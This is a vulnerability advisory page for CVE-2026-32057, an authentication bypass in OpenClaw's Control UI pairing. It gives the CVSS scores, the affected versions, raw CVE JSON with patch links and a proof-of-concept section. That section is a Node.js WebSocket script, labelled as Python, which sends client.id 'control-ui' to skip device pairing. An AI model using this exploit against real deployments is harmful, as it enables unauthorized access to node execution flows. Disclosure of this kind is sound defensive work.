Security Vulnerability Report
中文
CVE-2026-32057 CVSS 7.1 HIGH

CVE-2026-32057

Published: 2026-03-21 01:17:09
Last Modified: 2026-03-25 15:16:47

Description

OpenClaw versions prior to 2026.2.25 contain an authentication bypass vulnerability in the trusted-proxy Control UI pairing mechanism that accepts client.id=control-ui without proper device identity verification. An authenticated node role websocket client can exploit this by using the control-ui client identifier to skip pairing requirements and gain unauthorized access to node event execution flows.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.2.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-32057 // This script demonstrates how an authenticated node role websocket client // can bypass the pairing mechanism by setting client.id to "control-ui". const WebSocket = require('ws'); // Target URL of the vulnerable OpenClaw instance const targetUrl = 'ws://target-openclaw-instance:8080/ws'; // A valid token for a low-privilege authenticated node role client const authToken = 'VALID_NODE_ROLE_TOKEN'; const ws = new WebSocket(targetUrl, { headers: { 'Authorization': authToken } }); ws.on('open', function open() { console.log('[*] WebSocket connection established.'); // Exploit Payload: Construct a message claiming to be the control-ui // The system trusts this ID and skips device identity verification const payload = { action: 'register', client: { id: 'control-ui' // Vulnerable parameter: bypasses pairing }, request: { flow: 'execute_event' } }; ws.send(JSON.stringify(payload)); console.log('[*] Exploit payload sent: client.id set to control-ui'); console.log('[*] If successful, pairing requirements are bypassed.'); }); ws.on('message', function message(data) { console.log('[+] Server response:', data.toString()); }); ws.on('error', function error(err) { console.error('[-] WebSocket error:', err); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32057", "sourceIdentifier": "[email protected]", "published": "2026-03-21T01:17:09.310", "lastModified": "2026-03-25T15:16:46.930", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.25 contain an authentication bypass vulnerability in the trusted-proxy Control UI pairing mechanism that accepts client.id=control-ui without proper device identity verification. An authenticated node role websocket client can exploit this by using the control-ui client identifier to skip pairing requirements and gain unauthorized access to node event execution flows."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a 2026.2.25 contienen una vulnerabilidad de omisión de autenticación en el mecanismo de emparejamiento de la interfaz de usuario de control del proxy de confianza que acepta client.id=control-ui sin la verificación adecuada de la identidad del dispositivo. Un cliente websocket con rol de nodo autenticado puede explotar esto utilizando el identificador de cliente control-ui para omitir los requisitos de emparejamiento y obtener acceso no autorizado a los flujos de ejecución de eventos del nodo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-807"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.25", "matchCriteriaId": "E7CAF2B9-46A9-45F0-8621-6485989E84AD"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/ec45c317f5d0631a3d333b236da58c4749ede2a3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vvgp-4c28-m3jm", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-authentication-bypass-via-control-ui-client-id-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}